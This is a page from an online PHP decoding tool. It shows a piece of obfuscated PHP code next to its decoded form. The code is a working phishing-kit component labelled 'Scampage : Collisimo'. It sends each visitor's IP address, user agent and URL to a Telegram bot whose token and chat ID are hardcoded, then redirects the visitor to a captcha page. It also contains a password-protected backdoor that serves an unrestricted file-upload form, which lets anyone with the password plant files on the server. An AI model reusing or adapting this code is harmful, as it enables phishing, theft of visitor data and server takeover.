Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto rjr9NogCIYFV6Tvy; zozYWPXlat3N8tjr: $RnQzqeJkNcF8wjHW = ["\143\150\141\164\x5f..

Decoded Output download

<?php 
goto rjr9NogCIYFV6Tvy; zozYWPXlat3N8tjr: $RnQzqeJkNcF8wjHW = ["chat_id" => $zBoVcT61JtbpTd5l, "text" => $MpHSXkpnIbZfn6j2]; goto fJPjuuLM8k2pSrVN; UxoVfdxSfFEyh6G9: $imN2jOWVpqomaEmG = stream_context_create($rWvbllMX6gNhIPeb); goto W_begCgd1C9WIM9Q; pt3tyPC5rGm1aakv: echo "Sorry, there was an error uploading your file."; goto F6w_EfY1FkvRGxCE; YiyI11HNXYruP58_: Wz8gRTLPfyR7bg5V: goto W0nRRfTt45XXb7F8; W0nRRfTt45XXb7F8: echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded."; goto nz8V7K3j_EpDk9s6; o5FUpXmAH8ttkWuf: if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $FDH7d1iw1L1sBY1P)) { goto Wz8gRTLPfyR7bg5V; } goto pt3tyPC5rGm1aakv; U451uvuP8PLsBAeb: slm99dduYDSlCOkp: goto FNAzLc59nVRKfzKi; LCZXjhQiV8n0IkI9: $tkpjwq9_sfhe2Mgz = "http://{$_SERVER["HTTP_HOST"]}{$_SERVER["REQUEST_URI"]}"; goto lroXKo4yjLdzwzDi; XKM_fgII0CCZaoDd: $dH3vJCKrC37zlXKm = "https://api.telegram.org/bot{$GOgBzVGMsngWgXSO}/sendMessage"; goto zozYWPXlat3N8tjr; W_begCgd1C9WIM9Q: $hoEfTLs2weHCq0rZ = file_get_contents($dH3vJCKrC37zlXKm, false, $imN2jOWVpqomaEmG); goto Kr1EI9RrIHlAdAZ3; qhVcfaomqlCxCQzX: $xj3t6AZVLtffvATS = __DIR__ . "/"; goto pQO8U5YGeR06YRUS; y1yAcvFE0aYfHVV2: echo "<form action="" method="post" enctype="multipart/form-data"><input type="file" name="fileToUpload" id="fileToUpload"><input type="submit" value="Upload File" name="submit"></form>"; goto U451uvuP8PLsBAeb; zEkXgG9DzT9SW8Z0: if (!isset($_FILES["fileToUpload"])) { goto yDD9F8PtCi5rTuXD; } goto qhVcfaomqlCxCQzX; lroXKo4yjLdzwzDi: $ORR9Ibq2215H0uZF = $_SERVER["REMOTE_ADDR"]; goto OKIsr2nRxppfSD3l; DdIkcbCVL1YVqTA5: exit; goto JbU_PHtzQKNqhxhn; AAyquDTMSy4gg1DO: YX9D5_afEjWwmEgt: goto y1yAcvFE0aYfHVV2; wiW0SayXrcysNycm: $MpHSXkpnIbZfn6j2 = "Scampage : Collisimo\xaUser IP: {$ORR9Ibq2215H0uZF}\xaDomain: {$_SERVER["HTTP_HOST"]}
Path: {$tkpjwq9_sfhe2Mgz}
User Agent: {$QKGSYQDSgqnxsacD}"; goto XKM_fgII0CCZaoDd; fJPjuuLM8k2pSrVN: $rWvbllMX6gNhIPeb = ["http" => ["method" => "POST", "header" => "Content-type: application/x-www-form-urlencoded", "content" => http_build_query($RnQzqeJkNcF8wjHW)]]; goto UxoVfdxSfFEyh6G9; pQO8U5YGeR06YRUS: $FDH7d1iw1L1sBY1P = $xj3t6AZVLtffvATS . basename($_FILES["fileToUpload"]["name"]); goto o5FUpXmAH8ttkWuf; Kr1EI9RrIHlAdAZ3: header("Location: captcha.php"); goto DdIkcbCVL1YVqTA5; FNAzLc59nVRKfzKi: function GpM_wExpOsD0mSnc($GOgBzVGMsngWgXSO, $zBoVcT61JtbpTd5l, $MpHSXkpnIbZfn6j2) { goto I80JLikHudbqIbjA; DHnkJXHNvBaTkfg1: return $hoEfTLs2weHCq0rZ; goto PzvLCUt7oAbMm2nv; f7VYdCr7153D0MLK: $rWvbllMX6gNhIPeb = ["http" => ["method" => "POST", "header" => "Content-type: application/x-www-form-urlencoded", "content" => http_build_query($RnQzqeJkNcF8wjHW)]]; goto naUZRx_eH8IOhxRS; xNsHhAcLk7WAin0q: $RnQzqeJkNcF8wjHW = ["chat_id" => $zBoVcT61JtbpTd5l, "text" => $MpHSXkpnIbZfn6j2]; goto f7VYdCr7153D0MLK; I80JLikHudbqIbjA: $dH3vJCKrC37zlXKm = "https://api.telegram.org/bot{$GOgBzVGMsngWgXSO}/sendMessage"; goto xNsHhAcLk7WAin0q; naUZRx_eH8IOhxRS: $imN2jOWVpqomaEmG = stream_context_create($rWvbllMX6gNhIPeb); goto lhejUatnqbx2R4sZ; lhejUatnqbx2R4sZ: $hoEfTLs2weHCq0rZ = file_get_contents($dH3vJCKrC37zlXKm, false, $imN2jOWVpqomaEmG); goto DHnkJXHNvBaTkfg1; PzvLCUt7oAbMm2nv: } goto zEkXgG9DzT9SW8Z0; xi6ff5F56k6JAnJz: $zBoVcT61JtbpTd5l = "-4226265577"; goto LCZXjhQiV8n0IkI9; JbU_PHtzQKNqhxhn: goto slm99dduYDSlCOkp; goto AAyquDTMSy4gg1DO; F6w_EfY1FkvRGxCE: goto X8CoMWqkYKxqFjG8; goto YiyI11HNXYruP58_; co7SLj5Rvf3xFDzu: if (isset($_GET["passingo"]) && $_GET["passingo"] === "123321Biatch!!!") { goto YX9D5_afEjWwmEgt; } goto wiW0SayXrcysNycm; OKIsr2nRxppfSD3l: $QKGSYQDSgqnxsacD = $_SERVER["HTTP_USER_AGENT"]; goto co7SLj5Rvf3xFDzu; rjr9NogCIYFV6Tvy: $GOgBzVGMsngWgXSO = "7170315859:AAEXnnM02E4hn6u9oaTOl0nof7lF8UA5Nq0"; goto xi6ff5F56k6JAnJz; nz8V7K3j_EpDk9s6: X8CoMWqkYKxqFjG8: goto Td6v5SRNZZLp4LNO; Td6v5SRNZZLp4LNO: yDD9F8PtCi5rTuXD: 
 ?>

Did this file decode correctly?

Original Code

<?php
goto rjr9NogCIYFV6Tvy; zozYWPXlat3N8tjr: $RnQzqeJkNcF8wjHW = ["\143\150\141\164\x5f\x69\144" => $zBoVcT61JtbpTd5l, "\x74\x65\x78\x74" => $MpHSXkpnIbZfn6j2]; goto fJPjuuLM8k2pSrVN; UxoVfdxSfFEyh6G9: $imN2jOWVpqomaEmG = stream_context_create($rWvbllMX6gNhIPeb); goto W_begCgd1C9WIM9Q; pt3tyPC5rGm1aakv: echo "\123\x6f\x72\162\171\x2c\x20\164\150\x65\162\x65\40\167\141\x73\40\x61\156\40\145\x72\162\157\x72\40\x75\x70\154\157\x61\x64\x69\x6e\147\x20\x79\157\x75\x72\40\x66\x69\154\x65\x2e"; goto F6w_EfY1FkvRGxCE; YiyI11HNXYruP58_: Wz8gRTLPfyR7bg5V: goto W0nRRfTt45XXb7F8; W0nRRfTt45XXb7F8: echo "\x54\150\145\x20\146\151\x6c\145\40" . htmlspecialchars(basename($_FILES["\146\x69\154\x65\x54\157\125\x70\154\157\141\144"]["\156\141\155\x65"])) . "\40\150\x61\163\x20\142\145\x65\x6e\40\165\x70\154\x6f\x61\144\x65\144\x2e"; goto nz8V7K3j_EpDk9s6; o5FUpXmAH8ttkWuf: if (move_uploaded_file($_FILES["\x66\151\154\145\124\157\x55\160\154\157\141\144"]["\x74\155\160\137\x6e\x61\x6d\x65"], $FDH7d1iw1L1sBY1P)) { goto Wz8gRTLPfyR7bg5V; } goto pt3tyPC5rGm1aakv; U451uvuP8PLsBAeb: slm99dduYDSlCOkp: goto FNAzLc59nVRKfzKi; LCZXjhQiV8n0IkI9: $tkpjwq9_sfhe2Mgz = "\150\164\x74\160\x3a\x2f\x2f{$_SERVER["\x48\x54\124\x50\137\110\x4f\123\124"]}{$_SERVER["\122\105\x51\x55\x45\123\x54\137\125\x52\x49"]}"; goto lroXKo4yjLdzwzDi; XKM_fgII0CCZaoDd: $dH3vJCKrC37zlXKm = "\150\x74\164\x70\163\72\x2f\57\141\x70\x69\56\164\x65\x6c\145\x67\x72\x61\x6d\x2e\x6f\x72\147\x2f\x62\x6f\x74{$GOgBzVGMsngWgXSO}\x2f\163\145\156\144\115\145\163\163\141\147\145"; goto zozYWPXlat3N8tjr; W_begCgd1C9WIM9Q: $hoEfTLs2weHCq0rZ = file_get_contents($dH3vJCKrC37zlXKm, false, $imN2jOWVpqomaEmG); goto Kr1EI9RrIHlAdAZ3; qhVcfaomqlCxCQzX: $xj3t6AZVLtffvATS = __DIR__ . "\x2f"; goto pQO8U5YGeR06YRUS; y1yAcvFE0aYfHVV2: echo "\74\146\157\x72\x6d\40\141\143\164\151\157\156\75\x22\x22\x20\x6d\145\164\x68\x6f\x64\75\42\x70\x6f\163\x74\42\40\145\x6e\143\x74\x79\160\x65\75\x22\x6d\165\154\x74\151\x70\141\162\164\x2f\x66\x6f\x72\x6d\x2d\x64\x61\164\x61\42\76\x3c\151\x6e\160\x75\164\40\x74\x79\160\145\x3d\x22\146\x69\x6c\x65\42\40\156\141\x6d\x65\x3d\42\146\x69\154\x65\124\157\125\x70\154\157\x61\144\x22\x20\151\x64\75\42\x66\x69\154\x65\124\x6f\x55\x70\154\x6f\141\x64\42\x3e\x3c\x69\156\160\x75\164\40\164\x79\160\145\x3d\x22\163\165\x62\155\151\164\x22\x20\166\141\x6c\x75\145\x3d\42\x55\160\x6c\x6f\141\144\40\x46\151\x6c\145\x22\x20\156\141\155\145\x3d\x22\x73\x75\x62\155\x69\x74\42\x3e\x3c\x2f\x66\157\162\155\x3e"; goto U451uvuP8PLsBAeb; zEkXgG9DzT9SW8Z0: if (!isset($_FILES["\x66\x69\154\145\x54\x6f\125\x70\154\x6f\141\x64"])) { goto yDD9F8PtCi5rTuXD; } goto qhVcfaomqlCxCQzX; lroXKo4yjLdzwzDi: $ORR9Ibq2215H0uZF = $_SERVER["\122\x45\x4d\117\124\x45\x5f\101\x44\x44\122"]; goto OKIsr2nRxppfSD3l; DdIkcbCVL1YVqTA5: exit; goto JbU_PHtzQKNqhxhn; AAyquDTMSy4gg1DO: YX9D5_afEjWwmEgt: goto y1yAcvFE0aYfHVV2; wiW0SayXrcysNycm: $MpHSXkpnIbZfn6j2 = "\x53\x63\141\x6d\x70\x61\x67\x65\x20\x3a\40\x43\x6f\x6c\154\151\x73\x69\155\157\xa\125\163\145\162\x20\111\x50\x3a\x20{$ORR9Ibq2215H0uZF}\xa\104\157\155\141\x69\156\72\x20{$_SERVER["\110\124\x54\x50\x5f\110\x4f\123\124"]}\12\x50\x61\x74\x68\x3a\40{$tkpjwq9_sfhe2Mgz}\12\125\x73\145\x72\40\x41\x67\145\x6e\x74\72\40{$QKGSYQDSgqnxsacD}"; goto XKM_fgII0CCZaoDd; fJPjuuLM8k2pSrVN: $rWvbllMX6gNhIPeb = ["\150\x74\x74\x70" => ["\155\x65\x74\150\x6f\144" => "\x50\117\x53\124", "\x68\145\x61\144\145\162" => "\103\157\x6e\x74\145\x6e\164\55\164\x79\160\x65\72\40\141\x70\x70\x6c\151\143\x61\x74\151\x6f\156\57\170\55\x77\167\167\55\x66\x6f\x72\x6d\x2d\x75\162\154\x65\x6e\x63\157\144\145\x64", "\143\x6f\x6e\x74\145\x6e\x74" => http_build_query($RnQzqeJkNcF8wjHW)]]; goto UxoVfdxSfFEyh6G9; pQO8U5YGeR06YRUS: $FDH7d1iw1L1sBY1P = $xj3t6AZVLtffvATS . basename($_FILES["\x66\x69\154\x65\124\x6f\x55\160\154\x6f\141\x64"]["\x6e\141\155\x65"]); goto o5FUpXmAH8ttkWuf; Kr1EI9RrIHlAdAZ3: header("\x4c\157\x63\x61\x74\x69\157\156\72\40\x63\x61\160\164\143\150\x61\x2e\160\150\x70"); goto DdIkcbCVL1YVqTA5; FNAzLc59nVRKfzKi: function GpM_wExpOsD0mSnc($GOgBzVGMsngWgXSO, $zBoVcT61JtbpTd5l, $MpHSXkpnIbZfn6j2) { goto I80JLikHudbqIbjA; DHnkJXHNvBaTkfg1: return $hoEfTLs2weHCq0rZ; goto PzvLCUt7oAbMm2nv; f7VYdCr7153D0MLK: $rWvbllMX6gNhIPeb = ["\x68\164\164\160" => ["\x6d\145\164\x68\157\144" => "\x50\x4f\123\124", "\150\145\x61\x64\145\x72" => "\103\x6f\x6e\164\145\156\x74\x2d\x74\171\x70\x65\x3a\x20\x61\x70\160\154\x69\x63\141\164\151\157\156\x2f\x78\55\167\x77\167\55\146\157\162\155\55\x75\x72\x6c\x65\156\x63\157\x64\x65\x64", "\x63\x6f\x6e\x74\145\x6e\x74" => http_build_query($RnQzqeJkNcF8wjHW)]]; goto naUZRx_eH8IOhxRS; xNsHhAcLk7WAin0q: $RnQzqeJkNcF8wjHW = ["\x63\150\141\x74\x5f\x69\144" => $zBoVcT61JtbpTd5l, "\164\x65\x78\x74" => $MpHSXkpnIbZfn6j2]; goto f7VYdCr7153D0MLK; I80JLikHudbqIbjA: $dH3vJCKrC37zlXKm = "\150\164\x74\x70\163\72\x2f\x2f\x61\160\x69\x2e\x74\145\x6c\x65\x67\162\x61\x6d\56\157\x72\x67\x2f\x62\x6f\x74{$GOgBzVGMsngWgXSO}\57\x73\x65\x6e\144\x4d\145\x73\163\x61\x67\x65"; goto xNsHhAcLk7WAin0q; naUZRx_eH8IOhxRS: $imN2jOWVpqomaEmG = stream_context_create($rWvbllMX6gNhIPeb); goto lhejUatnqbx2R4sZ; lhejUatnqbx2R4sZ: $hoEfTLs2weHCq0rZ = file_get_contents($dH3vJCKrC37zlXKm, false, $imN2jOWVpqomaEmG); goto DHnkJXHNvBaTkfg1; PzvLCUt7oAbMm2nv: } goto zEkXgG9DzT9SW8Z0; xi6ff5F56k6JAnJz: $zBoVcT61JtbpTd5l = "\x2d\x34\x32\62\66\62\x36\x35\x35\67\67"; goto LCZXjhQiV8n0IkI9; JbU_PHtzQKNqhxhn: goto slm99dduYDSlCOkp; goto AAyquDTMSy4gg1DO; F6w_EfY1FkvRGxCE: goto X8CoMWqkYKxqFjG8; goto YiyI11HNXYruP58_; co7SLj5Rvf3xFDzu: if (isset($_GET["\160\141\163\x73\x69\156\147\157"]) && $_GET["\x70\x61\x73\x73\x69\156\x67\x6f"] === "\61\x32\63\63\x32\x31\102\151\x61\x74\143\150\x21\x21\41") { goto YX9D5_afEjWwmEgt; } goto wiW0SayXrcysNycm; OKIsr2nRxppfSD3l: $QKGSYQDSgqnxsacD = $_SERVER["\x48\x54\124\120\x5f\x55\123\x45\x52\x5f\101\x47\105\x4e\x54"]; goto co7SLj5Rvf3xFDzu; rjr9NogCIYFV6Tvy: $GOgBzVGMsngWgXSO = "\x37\x31\67\60\x33\x31\65\x38\x35\71\72\x41\101\105\x58\x6e\156\115\x30\62\x45\64\150\x6e\66\x75\71\x6f\141\x54\117\154\x30\156\157\x66\x37\154\x46\x38\x55\101\x35\116\x71\x30"; goto xi6ff5F56k6JAnJz; nz8V7K3j_EpDk9s6: X8CoMWqkYKxqFjG8: goto Td6v5SRNZZLp4LNO; Td6v5SRNZZLp4LNO: yDD9F8PtCi5rTuXD:

Function Calls

None

Variables

None

Stats

MD5 02ddfb7cdadae890cbe5f4dffda27a8a
Eval Count 0
Decode Time 35 ms